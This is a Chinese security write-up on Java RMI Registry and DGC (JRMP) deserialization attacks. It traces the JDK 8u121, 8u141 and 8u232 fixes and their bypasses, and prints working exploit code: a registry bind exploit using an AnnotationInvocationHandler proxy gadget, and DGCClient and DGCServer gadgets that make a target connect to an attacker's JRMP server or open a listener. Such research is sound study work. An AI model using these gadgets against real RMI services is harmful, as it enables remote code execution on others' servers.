0x01
2022-02-03写的一篇文章。
0x02 Registry
Registry指的是RMI的注册表,攻击的目标是注册表所在的机器,一般注册表和RMI Server在同一个机器上,特殊情况下也会在不同机器上。
在我们通过LocateRegistry#getRegistry获取到目标开启的注册表之后,可以通过Registry#bind方法绑定一个对象到注册表上,而我们绑定的对象传送到目标机器上之后会对其进行一个反序列化。
反序列化触发点在RegistryImpl_Skel#dispatch方法上。
同样的,在获取到开启的注册表之后,可以通过rebind/lookup方法触发反序列化链,因为rebind/lookup方法传递对象过去之后目标也会对其进行反序列化。
漏洞点同样发生在RegistryImpl_Skel#dispatch方法上,其实dispatch这个方法就是通过一个switch来判断是bind/lookup/rebind等操作中的哪个,对应的case为如下。
可以看到rebind/lookup操作都会触发反序列化
0x03 Registry修复
在JDK8u232_b09版本之前对Registry被攻击有两处修复,第一处修复是在JDK8u121之后对注册表可以反序列化的类进行了一个限制,是一个白名单的限制。实现限制的方法为RegistryImpl#registryFilter。(这里是 JEP290的防御操作
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
第二处修复是在JDK8u141之后,在JDK8u141之前bind/rebind/lookup都可以触发反序列化,但在此版本之后对bind/rebind的case语句块进行了修改,在反序列化前增加了一个检查,检查调用bind/rebind的机器是否为本地,限制了调用源只能是本地。
其实在JDK8u141之前就已经存在这个checkAccess方法了,也就是这个限制调用源本来就存在,但是因为在反序列化之前没有调用这个方法进行检查,那么这个限制也就相当于没有。
第三处修复在JDK8u232_b09之后,在处理bind/rebind/lookup方法的case语句块中如果反序列化时发生错误或者反序列化完成之后类型转换错误则会调用call#discardPendingRefs方法,将现存的DGC连接清除掉,也就无法使用下面的DGCClient/DGCServer Gadget,见 http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/523d48606333#l1.40(此处以及下面说的DGC就是网上说的JRMP)
0x04 Registry绕过
那么在JDK8u141之后怎么攻击利用Registry呢?调用源检查只限制了bind/rebind方法,对lookup方法没有进行限制,那么就可以用lookup方法进行触发反序列化链。
对于第一个白名单限制,可以利用白名单里的Remote及实现此接口类以及子类构造Gadget进行利用,当然其它类如果能找到利用点也是可以的。
0x05 Registry攻击实现
- 利用常规的Gadget,实现执行任意命令等效果
- 利用DGCClient Gadget,此Gadget被反序列化后可以让目标连接我们架设好的恶意DGC服务器(此处的DGCClient就相当于ysoserial的payload/JRMPClient
- 利用DGCServer Gadget,此Gadget被反序列化后可以让目标在指定端口开启DGC服务(此处的DGCServer 就相当于ysoserial的payload/JRMPListern
- 利用注册表上可以调用的方法,使用恶意对象作为参数传递过去之后,目标会对恶意对象进行反序列化操作,此时触发Gadget
public class RMIRegistryExploit {
public static void exploit(){
try {
Remote remote = (Remote) getObject();
//Remote remote = (Remote) DGCClient.getObject();
//Remote remote = (Remote) DGCServer.getObject();
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
registry.bind("ky0202"+System.nanoTime(),remote);
}catch (Exception e){
System.out.println(e.getCause().getCause().getCause().getMessage());
}
}
public static void main(String[] args) throws Exception{
ParseArgs.parseArgs(args);
exploit();
}
public static Object getObject() throws Exception{
Hashtable hashtable = (Hashtable) Collections07.getObject();
// hashtable 为 invocationHandler 的一个字段,那么反序列化的时候也会反序列化这个字段,进而触发 Gadget
InvocationHandler invocationHandler = (InvocationHandler) Reflect.reflectGetObject("sun.reflect.annotation.AnnotationInvocationHandler", new Class[]{Class.class, Map.class}, new Object[]{Retention.class, hashtable});
// 把 Remote 对象反序列化,因为 invocationHandler 为其一个字段,反序列化时会反序列化其字段,也就是调用 AnnotationInvocationHandler#readObject 方法触发 Gadget
Remote proxyRemote = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler);
return proxyRemote;
}
}
根据Gadget修改获取的对象即可,这里使用的是bind触发,最好的方式是使用lookup触发,但是这里没有实现。
DGCClient Gadget
/*
* Gadget:
* RemoteObjectInvocationHandler#readObject
* RemoteObject#readObject
* UnicastRef#readExternal
* LiveRef#read
* DGCClient#registerRefs
* */
public class DGCClient {
public static Object getObject() throws Exception{
TCPEndpoint tcpEndpoint = new TCPEndpoint("127.0.0.1",9999,null,null);
LiveRef liveRef = new LiveRef(new ObjID(0),tcpEndpoint,false);
UnicastRef unicastRef = new UnicastRef(liveRef);
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
return remoteObjectInvocationHandler;
}
public static void main(String[] args) throws Exception{
RemoteObjectInvocationHandler remoteObjectInvocationHandler = (RemoteObjectInvocationHandler) getObject();
byte[] serialize = SerWithUnSer.serialize(remoteObjectInvocationHandler);
SerWithUnSer.unSerialize(serialize);
}
}
DGCServer Gadget
/*
* Gadget:
* UnicastRemoteObject#readObject
* UnicastRemoteObject#reexport
* UnicastRemoteObject#exportObject
* UnicastRemoteObject#exportObject
* UnicastServerRef#exportObject
* LiveRef#exportObject
* TCPEndpoint#exportObject
* TCPTransport#exportObject
* TCPTransport#listen
* */
public class DGCServer {
public static Object getObject() throws Exception{
Constructor constructor1 = RemoteObject.class.getDeclaredConstructor(new Class[]{RemoteRef.class});
constructor1.setAccessible(true);
Constructor constructor2 = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(ActivationGroupImpl.class, constructor1);
constructor2.setAccessible(true);
UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) constructor2.newInstance(new Object[]{new UnicastServerRef(6666)});
Reflect.reflectSetField(UnicastRemoteObject.class,unicastRemoteObject,"port", 6666);
return unicastRemoteObject;
}
public static void main(String[] args) throws Exception{
UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) getObject();
byte[] bytes = SerWithUnSer.serialize(unicastRemoteObject);
SerWithUnSer.unSerialize(bytes);
}
}
调用注册表可以调用的方法,然后传递恶意对象进去,让目标对传递过去的恶意对象进行反序列化操作,这时即可触发 Gadget,反序列化触发点在UnicastServerRef#dispatch方法,这里遍历反序列化传递过来的参数,在unmarshalValue方法中存在反序列化操作
这里如果调用的方法可以传递任意对象或者存在Gadget的对象,就可以直接传递恶意对象进去,否则需要利用动态修改字节码的技术把恶意对象作为参数传递进去。(可以参考后面列的文章
0x06 DGC
前面通过利用DGCClient/DGCServer Gadget攻击Registry之后,可以使目标连接某一特定DGC服务器或者在指定端口开启一个DGC服务,这时可以进一步利用。
在用DGCClient Gadget攻击成功目标之后,目标会去连接指定的DGC服务器,这时候我们可以架设一台恶意DGC 服务器,让目标连接我们服务器的时候,返回一个恶意对象,这时候目标会对返回的对象进行反序列化,此时触发 Gadget(因为DGC通信过程中都是序列化的形式进行的,所以不管是客户端还是服务端都存在反序列化的点,这里的架设恶意DGC服务器利用ysoserial的exploit/JRMPListern即可
反序列化触发点在StreamRemoteCall#executeCall方法上
在用DGCServer Gadget攻击Registry之后,目标会在指定端口开启一个DGC服务,这时可以架设一个恶意的DGC 客户端去连接目标开启的DGC服务,并连接之后发送恶意对象,这时候目标会对客户端发送的恶意对象进行反序列化,此时触发Gadget ,搭建DGC客户端使用ysoserial的exploit/JRMPClient即可
反序列化触发点在DGCImpl_Skel#dispatch方法上
0x07 DGC修复
在JDK8u232_b09之后,在DGCImpl_Stub#dirty方法上设置了反序列化的白名单,而dirty方法是StreamRemoteCall#executeCall方法的必经之路,所以这也就阻断executeCall方法反序列化恶意对象了。见 http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/523d48606333#l4.50
在JDK8u121之后对DGCServer可以反序列化的类进行了一个白名单的限制,限制的方法在DGCImpl#checkInput(这里就是JEP290的限制,那么也就是在JEP290之后就无法利用exploit/JRMPClient了
return var2 != ObjID.class && var2 != UID.class && var2 != VMID.class && var2 != Lease.class ? Status.REJECTED : Status.ALLOWED;
0x08 参考文章
https://www.anquanke.com/post/id/197829
https://xz.aliyun.com/t/2223
https://blog.csdn.net/qsort_/article/details/104814905
https://blog.csdn.net/qsort_/article/details/104969138
https://blog.csdn.net/qsort_/article/details/104874111
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/523d48606333#l1.40